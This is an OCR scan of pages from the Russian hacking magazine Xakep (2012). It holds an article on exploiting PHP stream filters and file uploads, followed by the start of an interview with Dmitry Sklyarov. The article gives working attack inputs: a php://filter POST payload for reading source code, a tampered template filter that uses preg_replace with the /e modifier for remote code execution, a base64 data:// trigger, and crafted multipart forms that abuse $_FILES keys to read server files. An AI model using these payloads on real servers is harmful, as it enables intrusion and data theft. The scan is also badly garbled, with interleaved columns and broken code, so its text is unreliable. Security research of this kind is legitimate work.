co py( 'compress.zlib: // ftp:/ / user:pass@ftpho st.com : 21/ path / file. dat. gz' , '/local / сору / of / file . dat' ) ; Враппер php:// filteг также применя е тся и для обеспечения безопасности веб-приложений . Например , скрипт

include ($_POST[ 'inc ' ]) ;

sample.php #

при настройке « allow_ uгl_iпc l ude лен ни ку провести атаку

= Off >>не позволит злоумыш­ RFI. Однако этот скрипт вполне позволяет

< ?php

require_once

'LightninqТemp1ate.php' ;

прочитать локальные РНР-файлы- для этого достаточно послать

уя звимому сценарию следующий РОSТ-запрос :

~ite!ils

= array(

'hoge' , null, '<b>fuga</b>' , inc=php://filter/read%3Dconvert.base64-encode/resource%3D/ path/script.php

h

Хотя встроенные фильтры предоставляют впечатляющие воз­ можности для решения самых разнообразных задач, разработчи­ ки РНР пошли дальше и позволили веб-программистам создавать

со бственные фильтры. И вот это уже интереснее всего!

ПИШ~М СВОЙ ФИЛЬТР

lG

О,

'piyo' ,

) ;

$1t = new LightninqТemp1ate( 'з8Iilp1e . htm1' $1t->tit1e = 'Samp1e Temp1ate' ; $1t->n8Ule = 'Yo~1d' ; $1t->Iilessage = '<b>hi'</b>' ; $1t->ite!ils = $items ;

);

echo $lt ;

1

О создании поль зо вательски х фильтров написано мало и от­

рывочно, некоторые функции, необ хо димые для этого, очень с кудно документированы. Тем не менее веб-приложения с такими

sarnp le_ca che.php #

ф ильтрами существуют. Предположим, что нам необ ходимо об­ рабат ывать п отоки с помощью функции п12Ьг. Для этого мы и на­

< ?php

пишем свой фильтр. Я не буду приводить код полностью , поясню

require_once

лишь основные моменты метода filteг !полный код ищи на нашем диске] .

Н

Итак, для начала нам нужно считать данные из потока. В даль­

нейшем мы будем обрабатывать их с сохранением во внутренней

te!ils = array ( 'hoge' , null, '<b>fuga</b>' ,

$1t = new private $_data;

Когда мы прочитаем все данные из потока, параметр $closing TRUE. Теперь можно их обрабатывать :

примет значение

ХАКЕР

01/156/2012

О,

'piyo' ,

);

переменной «$this-> _data >> :

while ($bucket = stream_bucket_make_writeaЫe($in)) $this- >_data .= $bucket->data; $this->bucket = $bucket; $consumed = е ; }

'LightninqТeiilp1ate . php' ;

LightninqТemp1ate(

'зamp1e.htm1' ,

1 1

new

LightninqТeiilp1ateCache_Fi1e( '. /cache' )

);

$1t->title = ' Samp1e Te!ilp1ate' ; $lt->n8Iile = 'Yo~1d' ; $1t ->meззage = '<b>hi!</b>' ; $1t- >items = $ite!ils ; Пример исnользования класса

Lightning Template

025


COVERSTORY if ( !empty ($t his->bucket - >data)) stream_bucket_a ppend($out, $th is->bucket); return PSFS_PASS_ON; } Мы отправляем обработанные данные на точку выхода , а

фильтр возвращает значение

PSFS_PASS_ON.

include ( "./LightningTemplate.php" ); $lt = new Light ni ngTemplate(' . / sample.html' ); $lt->title = 'Му Title' ; echo $l t; сгенерит следующую НТМL-страницу:

Это означает, что

в се про ш ло успе шн о. Н аписа н ный фи л ьт р н уж н о заре г ис т рировать. Делается это следующим образом :

stream_fi lte r_register( 'convert.nlZbr_string ' , 'nlzbr_filter' );

<html >< head> <meta charset= "utf-8" /> <title>My Title</title> </head></html> Таким образом, упомянутый класс по заданным шаблонам

Зарегистрированный фильтр доступен иэ любой функции, под­

генеритсоответствующий НТМL-ко д . Хотелось бы сразу отметить, что подключение темплейтов в этом классе происходит через уже

д ержи в ающей потоки.

знакомую тебе конструкцию

include,

однако это не самое лучшее

решение . Определенные группы пользователей обладают п равами

ПРИВЕТ ИЗ ЯПОНИИ

на редактирование темплейтов, что позволяет внедрять в них

Теперь, когда мы научились создавать собственные фильтры, по­

зловредный РНР-код , который успешно выполняется согласно

смотрим, как они применяются в реально существующих скриптах.

логике данного класса . Самописный фильтр, идущий вместе с

Воспользуемся д ля этого сервисом

классом, как раз и делает всю основную работу по преобразованию

Google Code

Seaгch. Будем

искать примеры использования функции stгeam_filteг_гegisteг.

НТМL-кода. Внесем небольшие изменения в этот фильтр:

При этом нам должен встретиться довольно интересный класс

Lightпing-Temp l ate !ссылки н а сам класс и страницу разработчика ищи в сносках!, который мы рассмотрим чуть подробнее. Допустим , у нас есть некий абстрактный шаблон

sample.html:

function fi l ter($i n, $o ut , &$cons umed, $clos i ng) while ($bucket = stream_b u cket_ma ke_wri t eaЫe($in)) $patterns = array (

puЫic

'1\{%\s+if\s+(.+?)\s+%\}/e' ,

<html><t:Lead> <met a charset= "utf-8" /> <t itle>{{ tit l e }}</t it l e> </ head> </html >

);

$replacements = array ( '"<? php i f ('. \$this->condition($1). '): ?>'" ,

Тогда скрипт

2 3 4 5

6

class nl 2 bг_fi ~e г extends РНР_Useг_F i ~e г { private $_data ; /* Вызывается nри инициализации фильтра •t function onC гeate ( )

{

9 1О 11 12 13 14 15 16 17 18 19 20 21

В строке, начинающейся с

$this-> _data = "; гeturn true;

7 8

я удалил одинарные

нам новые возможности. Изменив фильтр, я добился того , чтобы

} /* Здесь nроисх одит конвертирован ие данных из те кущего пото ка•/

произвольные команды исполнялись с помощью ргеg_герlасе

puЬiic

с модификатором «е » . Таким образом, есл и в тем п лейте есть

function

fi~er($ i n ,

$out , &$consumed, $closing)

{ /*Мы считываем данные из пото ка и х раним их

в Переменнои

., while($bucket =stгeam_bucket_make_writeaЫe ($ i n)) { $this-> data .=$bucket->dala; $this->bucket = $bucket ; $consumed = О ;

/*

Когда мы прочитали все данные из потока мы обработаем и х

и снова эаписшем их в корзину( Ьuсkеt).

., if($closing) { $consumed $stг

+= stгlen($this-> _data);

= nl 2 bг( $bucket-> _data};

if(!empty($this->bucket->data)) stгeam_bucket_append($out ,

PSFS_PASS_ON;

{% if print_r (i ni_get _a ll ()) %} - то при её обработке выполнится РНР-код. Важно отметить, что фильтры можно ис п ользовать с люб ы ми фун к циями, п о дд ержи­ вающими потоки. Например, рассмотрим следующий скрипт:

include ( " . / MYLightningTemplate.php" ); $f = $_POST( "file "]; readfile ($f); Вспоминаем, что один врап п ер можно подставить в дру г ой . Поэтому наши команды будут успешно выполняться для следующе­

$this->bucket->data =$stг; $this->bucket->datalen = stгlen ($this -> _data);

гetum

строка:

'$_data'

Первы й пример самоп и сного фильтра

026

'"<?php if,

кавычки . Это не влияет на функциональность фильтра, но д ает

22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39

); $bucket->data = preg_replace($patterns, $replacements, $b ucket->dat a) ;

$this->bucket);

го РОSТ-параметра

file :

file= ph p://filt e r /rea d%3dconvert.light ni ng_temp l ate_fil ter/ reso urce%3d data://tex t / pl ai n %З bb aseб4, e yUg a WYgcHJpbn R f cih p b mlfZ2V0X2

Fs bCgpKSAlfQ Таким образом, фил ьт ры с уязвимас т ями оче н ь силь н о снижают безопасность системы в целом, так как проэксплуатировать по­

добные баги поможет любая функция, по дд ерживающая потоки,

ХАКЕР

01 / 156/ 2012


Атака на файлы

-----------------2421143186617

ПОЛЬЗОВАТЕЛЬСКИЕ ФИЛЬТРЫ

А сами РОSТ-данные имеют такой вид:

----------------------------- 2421143186617 Пользовательский фильтр- зто расширение встроенного класса php_useг_filteг. При создании фильтра необходимо задать следующие

методы: filteг, опСгеаtе, oпCiose. Первым и самым важным методом

Content-Disposition: form - data; name= "uploadfile" ; filename= "hello . txt" Content-Type: text/plain

является filteг, который принимает четыре параметра:

1.

$iп -точка входа, ресурс, из которого поступают данные как по <<цепочке людей, передающих ведро».

2. $оut-точка выхода, ресурс , в который отдаются обработанные

<?php

echo ' Hello!! ! ' ; ?>

----------------------------- 2421143186617 --

данные .

3. $coпsumed- место, где хранится длина данных, полученных

4.

Как несложно догадаться, при заполнении формы мы выбрали

фильтром, этот параметр всегда должен передаваться по ссылке .

файл hello.txt, который содержит «< ?php echo

$closiпg- булева переменная, регулирующая получение данных,

Когда РНР-скрипт на удаленном сервере получает этот запрос,

'Hello! !! ' ; ?>».

принимает значение TRUE, если считывание данных из входяще­

интерпретатор РНР создает на сервере временный файл с именем

гопотока закончено .

типа phpseUm44, в который и попадает содержимое hello.txt. Этот временный файл хранится до завершения работы скрипта, а потом

Также метод filteг должен возвращать одну из следующих трех

автоматически удаляется !подробнее о временных файлах в РНР

констант:

читай в предыдущем номере нашего журнала). Также создается

1. РSFS_РАSS_ОN-данныеуспешнообработаны и переданы в

массив $_FILES следующего вида:

точку выхода .

2. РSFS _ FЕЕD _ МЕ-ошибки отсутствуют, но данныхдля передачи в $out нет. 3. PSFS_ ERR_FATAL ldefault) - пpoизoшлa ошибка . Методы оп[геаtе/опСiоsе применяют редко, но лучше включать их в код фильтра. Если фильтр оперирует другими ресурсами !например, буфером), то зто указывается в ме т оде опСгеаtе, вызываемом при

Array ( [uploadfile] => Array ( [name] => hello.txt [type] => text/plain [tmp_ name] => /tmp/phpseUm44 [error] => е [size] => 33

инициализации фильтра. Метод опСгеаtе должен возвращать в с лучае неудачи и

FALSE TRUE в случае успеха. Метод oп[lose вызывается

при завершении работы фильтра !обычно во время закрытия потока). Чтобы наш фильтр был доступен, необходимо зарегистри ровать его в сис теме с помощью функции stгeam _fil teг_гegisteг.

Тут важно понимать, что $_FILES[uploadfile][type] совпадает с элементом Coпtent-Type, который формируется на стороне клиента. Обычно браузер автоматически заполняет этот элемент в зави­

симости от выбранного файла, поэтому некоторые веб-мастера, наивно надеясь обезопасить себя от загрузки зловредных РНР­ а такие функции во множестве используются для обработки вхо­

скриптов, проводят только вот такую преетенькую проверку:

дящих данных. Рассмотрим, например, загрузку файлов на сервер стандартными средствами Р Н Р.

$_FILES[ " file " ][ "type " ] == " image/ gif"

·····••·tфl

Обычно для загрузки файлов на сервер используют либо функ-

запроса можно легко изменить, то есть обойти такого рода фильтр

ц��ю move_uploaded_file, либо функцию сору. Довольно часто

очень просто. Дляпроверки также довольно часто используется

пользователям разрешается загружать графические изображе­

функция getimagesizel). Конечно, это более эффективно, но не стоит

ния, картинки, аватары и т. д. При этом разработчики предусма­

забывать, что пользователь с легкостью может изменить ЕХIF-теги

тривают разнообразные процедуры проверкизагружаемых

изображения, поэтому та кой фильтр также легко можно обойти.

файлов, чтобы вместо картинки никто не загрузил полноцен­

Остается открытым вопрос о том, в каком виде файл сохраняется на

ный веб-шелл . Чтобы понять, какая проверкадействительно

сервере. Например, в зависимости от настроек веб-сервера файл

При этом они забывают, что любой элемент пользова т ельского

эффективна, а какую легко можно обойти, рассмотрим процесс

pic.php.myext вполне может быть обработан как РНР-скрипт. Таким

обычной загрузки файла в подробностях .

образом, безопасный аплоад файлов- это не только проверки в

Итак, для отправки пользовательского файла используется НТМL-форма, например такая:

скриптах, но и грамотно решенный вопрос о местонахождении и обработке загруженных файлов. При этом также не стои т забывать и

об особенностях самого РНР, связанных с массивом $_FILES.

<form actioп=upload.p h p method=post eпctype=multipart/form - da t a>

<input type=file name= uploadfi le> <input type=submit value =Upload> </form>

УЯЗВИМОСТИ ЗАГРУЗКИ ФАЙЛОВ Первая уязвимость, о которой я бы хотел рассказать,- это недостаточная обработка имени файла при его загрузке. Эта уязвимость помечена на сайте bugs . php.пet как приватная, тем не менее если постараться, все-таки можно найти ее описание.

Когда мы выбираем файл для загрузки у себя на компьютере и

:) Ба г заключается в том, что если имя файла начинается со

нажимаем кнопку Upload, удаленному серверу отправляется РОSТ­

слеша или бэкслеша и больше слешей/бэкслешей не содержит,

запрос, в котором обязательно содержится хедер Coпtent-Type

то оно проходит как есть в элемент массива $_ FILES [ uploadfile]

следующего вида:

[name] . Таким образом, вместо того чтобы загрузить файл в теку­ щую директорию скрипта, мы загрузим его в корневую директо­

Content-Type : multipart/form-data; boundary=

ХАКЕР

01 /156/2012

рию веб-сервера. На машинах под управлением Uniх-по д обных

027


COVERSTORY систем мы не сможем ничего загрузить в корневую папку из-за

нехватки прав. Но вот на Windows-мaшинax вnолне можно про­ вернуть такой финт ушами. П о ссылке в сносках ищи обучающее

видео из блага первооткрывателя з то го ба га. Вторая уязвимость более существенна. Она обусловлена не­

правильной обработкой ключей в массиве $_ FILES. Впервые о ней я узнал от человека под ником Qwazaг с форума гd o t.oгg . Вместе с

cfo rm action= "upload.php" method= "POST" enctype= "multipart/form-data" > ci nput type= "Hidden" name= "МAX_FILE_SIZE" value= "leeeeeee" > <input type= "file" name= "file[tmp_name][" > cinp ut type= "file" name= "file[size][" > <input type= "file" name= "file[name][" >

BlackFan, еще одним ка м радо м с зто го форума, они провели тесты, раскрывающие суть этого ба га . С их разрешения я расскажу о нем более подробно . Итак, пусть у нас есть мультифайловая загрузка,

ci nput type= "submit" value= "submit" > </form>

реализуемая с помощью функции сору :

-то в массиве $_FILES создаются злементы следующего типа:

foreach ($_FILES[ "file" ][ "tmp_name" ] as $key => $name) { echo "Size:" .$_FILES[ "file" ][ "size" ][$key]. "cbr/>\r\n" ; echo "tmp name: " . $_FILES[ "file" ][ "tmp_name" ][$key]. "cbr/>\r\n" ;

$_FILES[ "file" ][ "tmp_name" ][ "[name" ] Функция сору вnолне ус пешно воспринимает эти элементы:

$_FILES[ "file" ][ "tmp_name" ][$key] i f ($_FILES[ "file" ][ "size" ][$key] >0 && $_FILES[ "file" ][ "size" ][$key] <1024)

Таким образом, мы получаем возможность для манипулирования

echo "Ok<br/>\r\n" ; copy($_FILES[ " file" ][ " tmp_name" ][$key], 'test-txt' );

произвольными параметрами в $_FILES (ниже я покажу, что такое поведение харак терно не только для функции сору) . Привед у про­ стой при мер, чтобы более детально разъяснить суть уязвимости.

Если на удаленном сервере имеется вышеуказанный скрипт (назовем его upload.php), а у нас на компьютере есть соответ­

} }

ствующая НТМL-форма, то для чтения исходника с крипта secгet. Это позволяет не только загружать файлы, но и читать произ­

php, который находится в той же директории, что и upload .php,

вольный контент с сервера! Если мы отсылаем файлы на сервер

нам необходимо и достаточно создать у себя на жестком диске

при помощи вот такой вот формы:

два файла :

1.

Файл с именем

secret.php, содержимое которого не столь важно

(пусть, к примеру, это будет «<?php ?>»). ~-ом::е

class

'li~t./SocJr:~t/Тi!lt:ta.php' ;

St.reaa_Filter_Тiarr.socJtet

2. Файл с совсем простым именем, допустим <<1 >> . Его содержимое будет состоять из одного символа << 1» .

extud8: »._,_.er_tilter

( сомt

PIUVJISG - О : • J. ;

сомt. UOТict

В качестве имени второго файла выбрано число, чтобы он смог пройти следующую проверку:

prot.ect.ec1. $tiarta: proucted

$Сhtш~И;1 ;

protected. faock • 1;

$_FILES[ "file" ][ "size" ][$key] >0 Теперь открываем вышеуказанную форму в браузереи в поле

"' @pat:u z:~sourc~ $ in "' Qpara~~. te:soutce liout • Qparaa int ''consuae:d • Qparu bool liclo:sinq • Breturn int '1 .P*Jit: hllcti.oa tilter (Hn, $out, " consuud, $clos1nq)

<<f ile[tmp_ nameH» выбираем файл secгet.php, а в остальных полях- файл с именем <<1». Затем жмем на сабмит и видим, что в той же директории появился файл test .txt. Он представляет собой точную копию файла secгet . php, но имеет расширение txt,

(

wld.le

( liЬUcket

streaa_Ьuc.ket_uke_wпteaЬle ( Hn ))

(

и значит, мы легко можем просмотреть его в браузере.

swi.td. f'this- node ) (

.....,

с.е

PRIVJISG: 1ith1s->t.io.z:t:a->sessaqe (ftha->chonnel , иlt ::

'Ьucket->date );

Кстати, чтобы просмотреть файл из произвольной директории,

нужно изменить поле Content-Type (то, о котором я говорил выше) . В зто м поле мы можем указать nуть к любому файлу на сервере, и

с:.е иlt: : NOТICI :

defa.lt : lithis -> tiarra->nouce:l!essaqe ( lit.hi.s-><:h~l .

liЬucke:t->da.ta l:

зтот файл успешно скопируется в test .txt. Но и это еще не все!

"....,

<< БЕЗОПАСНАЯ » ЗАГРУЗКА ФАЙЛОВ НА СЕРВЕР licon:sua!:d -

Sbuc.t:et- >do.t..a.le:n;

streaa_Ьucket_app~d ( ,out,

Как отмечено выше, в основном загрузка файлов осуществляется

'Ьuctet);

с помощью функций

move_uploaded_file и сору . Однако существуют

и другие варианты для выполнения зтой сложной и ответственной

задачи. Один из таких вариантов (он, кстати, более предпочтите­ лен, если речь идет о загрузке только изображений)- исполь­

/" • r:ilи r i nitiali:r:e:r

зование функций imagecгeatefгom*/image *. Так как эти функции

• @retum bool

работают только с изображениями, то ничего, кроме картинки, мы

'1 .-uc h8ctioa o.c:reu.e ()

им подсунуть не сможем. Например, скрипт

( Н

(1sset( lit.his->par;8:a5{ 'socket' ))) ( lisock ~ m.aa~ • ~this->parus [ 'sock~t' ];

U

( 1.ss~ t( Hh1s->paraas { 'chann~l' ]))

HJus- >channe.l -

$img = imagecreatefromjpeg($_FILES[ "filename" ][ "tmp_name" ]) ; imagejpeg($img, "uploads/" .$_FILES[ "filename" ][ "name" ]);

(

~thls->poru.s { ' chann~l'

);

загружает на сервер только картинку в формате JPEG, при этом U

( 1.ss~ t(~th1s->par~ [ Sth1s->ted~

•aobl' JI) (

Sth1s->юa raas r 'aod~'

1:

полностью уничтожая все находящиеся в ЕХIF-тегах данные. Таким образом, злоумышлен и к никак не сможет залить на сервер что-то

Сложный метод onCгeat e в nоль зовате льском фильтре

028

опасное. Но даже в таком, казалось бы, надежном методе есть

ХАКЕР

01 /156/20 12


Атака на файлы

сво и подводные камни. Сразу хочу заметить, что найти в реальных скр иптах приведенные ниже примеры будет непросто, однако все они имеют право на жизнь.

НОВАЯ ЖИЗНЬ СТАРЫХ БАГОВ

Итак, главная особенность функций imagecгeatefгom* заклю­ ч ается в том, что они не только работают с графическими файла­ м и , но и вполне себе поддерживают описанные выше потокиl Это

В конце

о ткрывает, к ПР.ИМеру, прекрасную возможность хранить картинки

неразберихой в ключах глобальных массивов.

2009 года в РНР уже был найден похожий ба г, связанный с

не на сервере, а в базе данных. Таким образом, если пропустить

По задумке разработчиков, в именах GРС-переменных не должны

ка ртинку через base64_eпcode и сохранить в БД, то потом такое

содержаться символы << >> !пробела!, <<. >> и <<[ >> !они могут интерпрети­

и зображение можно будет вывести на экран, например, вот так:

роваться как элементы специального синтаксиса массивов!. Однако

$jpegimage = imagecreatefromjpeg( "data://image/jpeg;base64J" . base64_encode(

таких имен. Чтобы воспроизвести баг, набросаем специальную НТМL­

версии РНР того времени допускали нарушение логики в образовании

форму:

isql_result_array( 'imagedat~]));

imagejpeg($jpegimage); Эта особенность может оказаться довольно полезной, так

к ак грузить картинки в базу намного безопасней, чем в файлы. Например, разработчикам не нужно думать о правах доступа к директориям с картинками, о доступности этих директорий из

<form action=> <input name= "goodvar .(" > <input name= "goodarray(foo)" > <input name= "badvar[ • [" > <input type=submit> </form>

веба и о других подобных вопросах. Однако то, что функции вос­ принимают потоки, изредка приводит к довольно неожиданным

Также напишем с крипт

index.php для вывода результата на экран:

результатам .

Предположим, что у нас есть веб-приложение, которое имеет описанный выше уязвимый фильтр, а также осуществляет мулыи­ файловую загрузку, но не с помощью функции сору, а с помощью

<?php print_r($_GET); ?>

функции imagecгeatefгom*/image*, например такой: Ожидаемый результат :

foreach ($_FILES[ "file" )_( "tmp_ name" ]_E.L$key => $name) { echo "Size:" . $_FILES[ "file" ][ "size" ]($key]. "<br}>\r\n" ; echo " tmp name:" .$_FILES[ "file" ) [ "tщ>_name" ]($key]. "<br/>\r\n" ; $img = imagecreatefromjpeg( $_FILES [ "file" ] [ "tmJJ_name" ] [$key]); imagejpeg($img, ' ./new_' .$ke:,<. '_,jpg' ); ImageDestroy($img);

Array ( [goodvar_] => [goodarray] => Array ( (foo) =>

} (badvar _ _ ] => Создаем на сервере файл l.jpg с произвольным содержимым, выбираем его во всех полях формы, которую я приводил выше, и отсылаем РОSТ-запрос с модифицированным полем Conteпt-Ty pe:

П о л у ченны й ре зультат:

php ~//filter/read%3dconvert.lightning_template_filter /

Array ( (goodvar_] => (goodarray) => Array ( [foo] =>

reso_urce%3d data://text/plain%3bbase64,eyUgaWYgcHJpbnRfcihpbmlfZ2V0X2 FsbCgpKSAlfQ Таким образом , мы можем выполнить произвольный код на сер­ вере! Курьез этого примера состоит в том, что точкой входа служит,

казалось бы, вполне безобидная функция imagecгeatefгomjpeg . Од­

(badvar_ . [] =>

нако стоит учесть, что возможность выполнять произвольный код появляется только благодаря уязвимому фильтру, а такие фильтры встречаются далеко не на каждом шагу.

Как видишь , логика в построении массива явно нарушена. Очень

похожее нарушение логики лежит и в основе уязвимости в $_FILES, описанной в статье .

~

# 54939 file path injedion

Y~.ьtlity

SuЬnlitted: 201 1 -о5•2113: 58UТС

FI'OO'I:I:korowkzlt gnaldotc:om

status:Ciowi PНP\IeniOrl : 5.3.6

ln RfC1867 file

~ fllenм'le

МоdШсd: 2011-об-13

21 :48 UfC

Mllgned:~ P4dl.age: ~

OS:rnlev«tt CVE-IO:Zilli..:.ZZOZ

ВМЕСТО ЗАКЛЮЧЕНИЯ В последнее время багокопатели стали все чаще устремлять свои пылкие взоры на механизмы работы с файлами в РНР. В этой статье я постарался доходчиво описать очередную порцию таких

ба го в, а также привел малоизвестные факты о фильтрах и потоках. Надеюсь, что новые знания помогут веб-разработчикам грамотно, н nри ватная» уязвимость РНР

ХАКЕР

01 / 156/ 201 2

красиво и, главное, безопасно кадить свои приложения. :Х:

029


COVERSTORY

ДМИТРИЙ СКЛЯРОВ

ЧЕЛОSЕК,

КОТОРЬIИ ПОССОРИЛСЯ С

&ИОГРАФИЯ Закончил кафедру

систем автоматизирован-

н ого nроектирования

МПУ им . Баумана .

- о цент кафедры « ИН В настоящим мом:нт n:Сность» факультета формационная ~з~истемы уnравления». « Информатика

Автор книги « Искусств 0

защиты и взлома

информации ».

E\comsoft. Известен как

Сотрудник кoмnaн:~vanced eBook Ргосеssог, автор nрогра_мм~О1 году был арестован ФБР,

из-за котарои в ША а конференцию Defcon . когда приехал в С н


Интервью с Дмитрием Скляровым

r.t

НАЧНЕМ С ОЧЕВИДНОГО И ПРОСТОГО ВОПРОСА- С

.... ЧЕГО И КАК НАЧИНАЛАСЬ ВАША КАРЬЕРА, ПОЧЕМУ IT, КРИПТОГРАФИЯ, ПРОГРАММИРОВАНИЕ? Гil Мои родители оба закончили МВТУ !прежнее название

~ МГТУ им. Баумана.- При м. ][J, факультет приборострое­ ния, кафедру П6. Тогда машины были другие- занимали по

100 кв.

м. Папа впоследствии проработал в МВТУ более

20 лет

на основной должности начальника вычислительной машины .

Так что я с младых ногтей был приобщен к вычислительной технике . Дома валялись перфока рты , в макулатуру в школе сдавалась АЦПУ-шная бумага ... Школа, кстати, была без какого-либо уклона, но в последние два года у нас был очень хороший учитель математики. К тому же нам повезло- с шестого класса у нас началось профессиональное образование.

Один день в неделю был отведен на совершенствование профессиональных навыков. Пока две трети класса практико­ валась на станках завода «Салют», другую треть отправляли на

учебно-производственный комбинат, связанный с компьютера­ ми. Раз в неделю мы проводили там шесть часов, нам читали лекции, были какие-то практические занятия ... Начинали мы с

ПВМ <<Агат », а в последний год учебы на этом комбинате появились даже персоналки. В то время позволить себе компьютер дома было, конечно, нереально. То есть <<Агат>> уже продавался в магазинах и стоил порядка время как <<Жигули» стоили около

4,5 тысяч 6 тысяч.

рублей, в то

В 91-м я окончил школ у и собрался поступать в институт. Мне хотелось, чтобы вокруг было как можно больше компью­ теров,- зто была главная моя цель. Я очень хотел попасть на кафедру систем автоматизированного проектирования, там все на компьютерах. В итоге- Бауманка, родной вуз. Правда в том


COVERSTORY году поступали не на кафедру, а на факультет, а

Elcomsoft,

распределение по кафедрам происходило уже

с ними, рассказал о том, что у меня есть, и

которая находится в Москве . Я списался

лей госструктур. Таким образом, организация

после первого курса. Я, естественно, попал со­

спросил, заинтересует ли это их. Мне ответили :

должна представить доказательства того, что

всем не туда, куда хотел : меня распределили на

<<Приходи, поговорим>>. Изначально я хотел

имеет отношение к правоохранительным

кафедру сопротивления материалов. И хотя спустя

попросить за свой софт немножечко денег и

органам.

семестр я все же перевелся, я до сих пор считаю,

сказать до свидания. Но мне nредложили работать

что из всех.кафедр факультета сопромат- самая

на регулярной основе, потом был испытательный

сильная кафедра, то есть там лучше всего учат. Но

срок длиной полгода ... А потом меня взяли в штат.

этот продукт пользуется спросом у представите­

r.1

И ДРУГИЕ ПРОИЗВОДИТЕЛИ Н Е

APPLE

.:;.t ВОЗРАЖАЮТ, ЧТО КОМПАНИЯ ИЗ РОССИИ КОПАЕТСЯ В ИХ ПРОДУКТАХ, И НЕ

еще со школьных лет я понял, что мне нравится не

столько программировать, сколько разбираться,

r.1

как устроены программы, искат ь ошибки.

.:;.t РАБОТЫ ELCOMSOFТ СНАЧАЛА БЫЛО

ТО ЕСТЬ ОСНОВНЫМ НАПРАВЛЕНИЕМ

ПРЕПЯТСТВУЮТ ЭТОМУ? ОБ

ADOBE

ПОКА

УМОЛЧИМ .

ВОССТАНОВЛЕНИЕПАРОЛЕЙ? ГАl Помимо нас, подобные продукты сейчас вы­

А П ОСЛ Е

ГАl Сначала было восстановление па ролей, а

~ пускают еще три или четыре компании,

~ уже потом появились и смежные направле­

известные на мировом рынке computeг foгeпsics.

ГА1 Еще параллельна с учебой в институте я

ния. Основными покупателями софта для

Производители телефонов, как ни странно, не

~ работал в компании, которая занималась

passwoгd гесоvегу, конечно, были домашние

против. Все же зто сотрудничество с правоохра­

геоинформатикой- писал программы, которые

пользователи. Их много, их легко найти, они

нительными органами, помощь закону ... Из

автоматизировали работу по созданию электрон­

фактически приходят сами. Забытый па роль­

к нам не обращались ни разу, претензий не

ИНСТИ ТУТА?

Apple

ных карт. Позже некоторое время разрабатывал

зто очень частая ситуация . Потом появились

предъявляли. Вообще, что касается претензий,

аналогичное ПО для американцев. Это все было

продукты, связанные с восстановлением данных.

чаще бывает наоборот.

через институт, то есть через кафедру. После

К примеру, у нас есть замечательный продукт

окончания института думал, куда мне пойти, и как

Recoveгy . Е сть продукт для аудита- фактически

раз тогда [это был 97-й год! открылась кафедра

он выполняет то же восстановление па ролей,

информационной безопасности. Я уже понимал,

только в масштабе

что безопасность мне нравится, и до сих пор

вышли на рынок так называемой computeг

Active

EFS

diгectoгy. Недавно мы

r.1

ЗАДАЧУ ОТНОСИТЕЛЬНО БЕЗОПАСНО­

. . . СТИ PDF ВАМ ПОСТАВИЛИ В ELCOMSOFТ ИЛИ ... ?

считаю, что это одна из самых динамичных

foгeпsics . Это тоже восстановление паролей, но

областей

уже не для домашних пользователей, а для

pdf принадлежала мне. Я ~ пришел и предложил заняться этим

Диссертацию, правда, до сих пор так и не

правоохранительны х органов, которые тоже

форматом. Мне сказали: << Ну, если интересно,

защитил, хотя она написана на

часто в этом заинтересованы.

займись>>. У нас в этом смысле уникальная

IT. Я

пошел туда в аспирантуру.

80 %.

Называется

ГАl Нет, идея с

компания- не существует жесткого графика

разработки софта. Нет внешнего заказчика, который диктует нам сроки .

КОГДА Я НАТКНУЛСЯ НА ЧЕТЫРЕХ ЧЕЛОВЕК, КОТОРЫ Е ПРЕДСТАВИЛИСЬ АГЕНТАМИ ФБР,

r.1

ИЗ ЭТОЙ ИДЕИ И РОДИЛСЯ

.:;.t НЕЗАБВЕННЫЙ ADVANCED ЕВООК PROCESSOR,

ИЗ-ЗА КОТОРОГО ВАС

АРЕСТОВАЛИ В

Я СН АЧ АЛА РЕШИЛ, ЧТО ЭТО -ИГРА

2001

ГОДУ НА

DEFCON?

ГАl В общем, да. По сути, при моем участии

~ была разработана программа, которая она <<Метод анализа программных средств

КАК РАЗ ХОТЕЛОСЬ ЗАДАТЬ ВОПРОС О

позволяла снимать защиту с легально куплен н ых

защиты электронных документов>>. Тот самый

ПРАВООХРАНИТЕЛЬНЫХ ОРГАНАХ. :1

рdf-документов, в том числе с электронных книг.

доклад, с которым я ездил на Defcoп в

Она была выпущена в

2001

году, - это как раз кусок диссертации. Сейчас я в

ГА1 О, у нас на стене висит куча благодарно­

2001

году . У нас в России

на тот момент действовал закон, согласно

Бауманке совместитель - читаю одну лекцию в

~ стей, в том числе и от правоохранительных

которому любой человек имел право легально

неделю, веду дипломников- и мне хватает. У

органов самых разных стран мира. Нашему

сделать одну резервную копию легально

нас есть такая штука- курс по выбору . Студенты

генеральному директору как-то вообще прислали

приобретенной продукции, не сообщая об этом

вольны выбирать, на что ходить. Я читаю

бумагу, где говорилось, что он является почетным

правообладателю . То есть, создавая этот продукт

пятикурсникам курс, который называю <<Инже­

помощником шерифа штата Техас. Еще в 90-е

в России, мы ничего не нарушали. Потом мы

нерное введение в информационную безопас­

годы полиция Техаса арестовала человека по

начали продавать его в США. Это как раз было за

ность>>. У меня сложилось впечатление, что,

какому-то страшному обвинению, и на его

пару недель до моей поездки в Штаты на Defcoп.

доучившись до пятого курса, многие студенты не

компьютере обнаружили зашифрованные файлы.

За зто время было куплено, если я не ошибаюсь,

понимают, чем они занимаются. Я получаю

Полиция обратилась в

всего

удовольствие от общения с молодым поколение м

вили им программу. В расшифрованных файлах

недели с начала продаж наш провайдер, у

были обнаружены доказательства вины

которого мы хостились, известил нас о том, ч то к

задержанного.

нему предъявляет претензии компания

и работаю там совсем не ради зарплаты.

РАССКАЖИТ Е , П ОЖАЛУЙСТА, КАК П О П АЛИ В

ELCOMSOFT.

r,1

Elcomsoft,

и мы предоста­

12

или

20

копий программы. Спустя меньше

Adobe.

Мы прекратили продажи.

НО ВЕДЬ БЫВАЕТ, ЧТО ЛЮДИ <<ЗАБЫ­

Я полетел на Def co п, спокойно сделал там

.:;.t ВАЮТ>> ПАРОЛИ ОТ ЧУЖИ�� ДАННЫХ.

доклад об Advaпced

ГА1 Я просто на п исал кусок кода для своих нужд .

ГА1 Да, конечно, бывает и такое, но ... К

хорошо. Но через два дня, когда я уже выше л

~ Один мой друг п отерял доступ к свой базе Access, п о п росил меня помочь . Я посидел, разобрался и ... помог. В ито ге у меня получился

~ примеру, у нас недавно вышел инстру­

из номера, чтобы ехать в аэропорт, меня встре­

ментарий для исследования телефонов

тили сотрудники ФБР и вежливо предложили

код, который мо г бы пригодиться другим людям,

